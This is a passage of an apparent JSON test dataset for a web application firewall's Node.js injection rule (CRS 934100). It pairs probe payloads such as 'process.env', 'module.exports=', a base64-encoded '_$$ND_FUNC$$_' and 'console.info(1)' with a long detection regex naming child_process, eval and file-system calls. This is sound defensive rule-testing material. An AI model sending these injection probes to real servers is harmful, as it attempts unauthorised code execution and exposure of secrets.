"removeWhitespace" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934100", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=module.exports%3D" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "_(?:\\$\\$ND_FUNC\\$\\$_|_js_function)|(?:\\beval|new[\\s\\x0b]+Function[\\s\\x0b]*)\\(|String\\.fromCharCode|function\\(\\)\\{|this\\.constructor|module\\.exports=|\\([\\s\\x0b]*[^0-9A-Z_a-z]child_process[^0-9A-Z_a-z][\\s\\x0b]*\\)|process(?:\\.(?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?(?:\\.call)?\\(|binding|constructor|env|global|main(?:Module)?|process|require)|\\[[\\\"'`](?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?|binding|constructor|env|global|main(?:Module)?|process|require)[\\\"'`]\\])|(?:binding|constructor|env|global|main(?:Module)?|process|require)\\[|console(?:\\.(?:debug|error|info|trace|warn)(?:\\.call)?\\(|\\[[\\\"'`](?:debug|error|info|trace|warn)[\\\"'`]\\])|require(?:\\.(?:resolve(?:\\.call)?\\(|main|extensions|cache)|\\[[\\\"'`](?:(?:resolv|cach)e|main|extensions)[\\\"'`]\\])", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "removeWhitespace", "base64Decode", "urlDecodeUni", "jsDecode", "removeWhitespace" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934100", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=XyQkTkRfRlVOQyQkXwo=" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "_(?:\\$\\$ND_FUNC\\$\\$_|_js_function)|(?:\\beval|new[\\s\\x0b]+Function[\\s\\x0b]*)\\(|String\\.fromCharCode|function\\(\\)\\{|this\\.constructor|module\\.exports=|\\([\\s\\x0b]*[^0-9A-Z_a-z]child_process[^0-9A-Z_a-z][\\s\\x0b]*\\)|process(?:\\.(?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?(?:\\.call)?\\(|binding|constructor|env|global|main(?:Module)?|process|require)|\\[[\\\"'`](?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?|binding|constructor|env|global|main(?:Module)?|process|require)[\\\"'`]\\])|(?:binding|constructor|env|global|main(?:Module)?|process|require)\\[|console(?:\\.(?:debug|error|info|trace|warn)(?:\\.call)?\\(|\\[[\\\"'`](?:debug|error|info|trace|warn)[\\\"'`]\\])|require(?:\\.(?:resolve(?:\\.call)?\\(|main|extensions|cache)|\\[[\\\"'`](?:(?:resolv|cach)e|main|extensions)[\\\"'`]\\])", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "removeWhitespace", "base64Decode", "urlDecodeUni", "jsDecode", "removeWhitespace" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934100", "test_description": "base64 encoded test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=XyQkTkRfRlVOQyQkXwo=" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "_(?:\\$\\$ND_FUNC\\$\\$_|_js_function)|(?:\\beval|new[\\s\\x0b]+Function[\\s\\x0b]*)\\(|String\\.fromCharCode|function\\(\\)\\{|this\\.constructor|module\\.exports=|\\([\\s\\x0b]*[^0-9A-Z_a-z]child_process[^0-9A-Z_a-z][\\s\\x0b]*\\)|process(?:\\.(?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?(?:\\.call)?\\(|binding|constructor|env|global|main(?:Module)?|process|require)|\\[[\\\"'`](?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?|binding|constructor|env|global|main(?:Module)?|process|require)[\\\"'`]\\])|(?:binding|constructor|env|global|main(?:Module)?|process|require)\\[|console(?:\\.(?:debug|error|info|trace|warn)(?:\\.call)?\\(|\\[[\\\"'`](?:debug|error|info|trace|warn)[\\\"'`]\\])|require(?:\\.(?:resolve(?:\\.call)?\\(|main|extensions|cache)|\\[[\\\"'`](?:(?:resolv|cach)e|main|extensions)[\\\"'`]\\])", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "removeWhitespace", "base64Decode", "urlDecodeUni", "jsDecode", "removeWhitespace" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934100", "test_description": "base64 encoded test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=process.env" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "_(?:\\$\\$ND_FUNC\\$\\$_|_js_function)|(?:\\beval|new[\\s\\x0b]+Function[\\s\\x0b]*)\\(|String\\.fromCharCode|function\\(\\)\\{|this\\.constructor|module\\.exports=|\\([\\s\\x0b]*[^0-9A-Z_a-z]child_process[^0-9A-Z_a-z][\\s\\x0b]*\\)|process(?:\\.(?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?(?:\\.call)?\\(|binding|constructor|env|global|main(?:Module)?|process|require)|\\[[\\\"'`](?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?|binding|constructor|env|global|main(?:Module)?|process|require)[\\\"'`]\\])|(?:binding|constructor|env|global|main(?:Module)?|process|require)\\[|console(?:\\.(?:debug|error|info|trace|warn)(?:\\.call)?\\(|\\[[\\\"'`](?:debug|error|info|trace|warn)[\\\"'`]\\])|require(?:\\.(?:resolve(?:\\.call)?\\(|main|extensions|cache)|\\[[\\\"'`](?:(?:resolv|cach)e|main|extensions)[\\\"'`]\\])", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "removeWhitespace", "base64Decode", "urlDecodeUni", "jsDecode", "removeWhitespace" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934100", "test_description": "process.env test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=console.info(1)" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "_(?:\\$\\$ND_FUNC\\$\\$_|_js_function)|(?:\\beval|new[\\s\\x0b]+Function[\\s\\x0b]*)\\(|String\\.fromCharCode|function\\(\\)\\{|this\\.constructor|module\\.exports=|\\([\\s\\x0b]*[^0-9A-Z_a-z]child_process[^0-9A-Z_a-z][\\s\\x0b]*\\)|process(?:\\.(?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?(?:\\.call)?\\(|binding|constructor|env|global|main(?:Module)?|process|require)|\\[[\\\"'`](?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?|binding|constructor|env|global|main(?:Module)?|process|require)[\\\"'`]\\])|(?:binding|constructor|env|global|main(?:Module)?|process|require)\\[|console(?:\\.(?:debug|error|info|trace|warn)(?:\\.call)?\\(|\\[[\\\"'`](?:debug|error|info|trace|warn)[\\\"'`]\\])|require(?:\\.(?:resolve(?:\\.call)?\\(|main|extensions|cache)|\\[[\\\"'`](?:(?:resolv|cach)e|main|extensions)[\\\"'`]\\])", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "removeWhitespace", "base64Decode", "urlDecodeUni", "jsDecode", "removeWhitespace" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934100", "test_description": "console.info test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=c%5Cu006fnsole.info(1)" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "_(?:\\$\\$ND_FUNC\\$\\$_|_js_function)|(?:\\beval|new[\\s\\x0b]+Function[\\s\\x0b]*)\\(|String\\.fromCharCode|function\\(\\)\\{|this\\.constructor|module\\.exports=|\\([\\s\\x0b]*[^0-9A-Z_a-z]child_process[^0-9A-Z_a-z][\\s\\x0b]*\\)|process(?:\\.(?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?(?:\\.call)?\\(|binding|constructor|env|global|main(?:Module)?|process|require)|\\[[\\\"'`](?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?|binding|constructor|env|global|main(?:Module)?|process|require)[\\\"'`]\\])|(?:binding|constructor|env|global|main(?:Module)?|process|require)\\[|console(?:\\.(?:debug|error|info|trace|warn)(?:\\.call)?\\(|\\[[\\\"'`](?:debug|error|info|trace|warn)[\\\"'`]\\])|require(?:\\.(?:resolve(?:\\.call)?\\(|main|extensions|cache)|\\[[\\\"'`](?:(?:resolv|cach)e|main|extensions)[\\\"'`]\\])", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "removeWhitespace", "base64Decode", "urlDecodeUni", "jsDecode", "removeWhitespace" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934100", "test_description": "console.info test (JavaScript escape sequences)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=process[\"env\"]" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "_(?:\\$\\$ND_FUNC\\$\\$_|_js_function)|(?:\\beval|new[\\s\\x0b]+Function[\\s\\x0b]*)\\(|String\\.fromCharCode|function\\(\\)\\{|this\\.constructor|module\\.exports=|\\([\\s\\x0b]*[^0-9A-Z_a-z]child_process[^0-9A-Z_a-z][\\s\\x0b]*\\)|process(?:\\.(?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?(?:\\.call)?\\(|binding|constructor|env|global|main(?:Module)?|process|require)|\\[[\\\"'`](?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?|binding|constructor|env|global|main(?:Module)?|process|require)[\\\"'`]\\])|(?:binding|constructor|env|global|main(?:Module)?|process|require)\\[|console(?:\\.(?:debug|error|info|trace|warn)(?:\\.call)?\\(|\\[[\\\"'`](?:debug|error|info|trace|warn)[\\\"'`]\\])|require(?:\\.(?:resolve(?:\\.call)?\\(|main|extensions|cache)|\\[[\\\"'`](?:(?:resolv|cach)e|main|extensions)[\\\"'`]\\])", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "removeWhitespace", "base64Decode", "urlDecodeUni", "jsDecode", "removeWhitespace" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934100", "test_description": "process.env test (square bracket property access)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=console[\"info\"](1)" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "_(?:\\$\\$ND_FUNC\\$\\$_|_js_function)|(?:\\beval|new[\\s\\x0b]+Function[\\s\\x0b]*)\\(|String\\.fromCharCode|function\\(\\)\\{|this\\.constructor|module\\.exports=|\\([\\s\\x0b]*[^0-9A-Z_a-z]child_process[^0-9A-Z_a-z][\\s\\x0b]*\\)|process(?:\\.(?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?(?:\\.call)?\\(|binding|constructor|env|global|main(?:Module)?|process|require)|\\[[\\\"'`](?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?|binding|constructor|env|global|main(?:Module)?|process|require)[\\\"'`]\\])|(?:binding|constructor|env|global|main(?:Module)?|process|require)\\[|console(?:\\.(?:debug|error|info|trace|warn)(?:\\.call)?\\(|\\[[\\\"'`](?:debug|error|info|trace|warn)[\\\"'`]\\])|require(?:\\.(?:resolve(?:\\.call)?\\(|main|extensions|cache)|\\[[\\\"'`](?:(?:resolv|cach)e|main|extensions)[\\\"'`]\\])", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "removeWhitespace", "base64Decode", "urlDecodeUni", "jsDecode", "removeWhitespace" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934100", "test_description": "console.info test (square bracket property access)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=console.info.call(this,1)" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "_(?:\\$\\$ND_FUNC\\$\\$_|_js_function)|(?:\\beval|new[\\s\\x0b]+Function[\\s\\x0b]*)\\(|String\\.fromCharCode|function\\(\\)\\{|this\\.constructor|module\\.exports=|\\([\\s\\x0b]*[^0-9A-Z_a-z]child_process[^0-9A-Z_a-z][\\s\\x0b]*\\)|process(?:\\.(?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?(?:\\.call)?\\(|binding|constructor|env|global|main(?:Module)?|process|require)|\\[[\\\"'`](?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?|binding|constructor|env|global|main(?:Module)?|process|require)[\\\"'`]\\])|(?:binding|constructor|env|global|main(?:Module)?|process|require)\\[|console(?:\\.(?:debug|error|info|trace|warn)(?:\\.call)?\\(|\\[[\\\"'`](?:debug|error|info|trace|warn)[\\\"'`]\\])|require(?:\\.(?:resolve(?:\\.call)?\\(|main|extensions|cache)|\\[[\\\"'`](?:(?:resolv|cach)e|main|extensions)[\\\"'`]\\])", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "removeWhitespace", "base64Decode", "urlDecodeUni", "jsDecode", "removeWhitespace" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934100", "test_description": "console.info test (call method)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=process." } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "_(?:\\$\\$ND_FUNC\\$\\$_|_js_function)|(?:\\beval|new[\\s\\x0b]+Function[\\s\\x0b]*)\\(|String\\.fromCharCode|function\\(\\)\\{|this\\.constructor|module\\.exports=|\\([\\s\\x0b]*[^0-9A-Z_a-z]child_process[^0-9A-Z_a-z][\\s\\x0b]*\\)|process(?:\\.(?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?(?:\\.call)?\\(|binding|constructor|env|global|main(?:Module)?|process|require)|\\[[\\\"'`](?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?|binding|constructor|env|global|main(?:Module)?|process|require)[\\\"'`]\\])|(?:binding|constructor|env|global|main(?:Module)?|process|require)\\[|console(?:\\.(?:debug|error|info|trace|warn)(?:\\.call)?\\(|\\[[\\\"'`](?:debug|error|info|trace|warn)[\\\"'`]\\])|require(?:\\.(?:resolve(?:\\.call)?\\(|main|extensions|cache)|\\[[\\\"'`](?:(?:resolv|cach)e|main|extensions)[\\\"'`]\\])", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "removeWhitespace", "base64Decode", "urlDecodeUni", "jsDecode", "removeWhitespace" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934100", "test_description": "\"process\" false positive test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=console." } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": 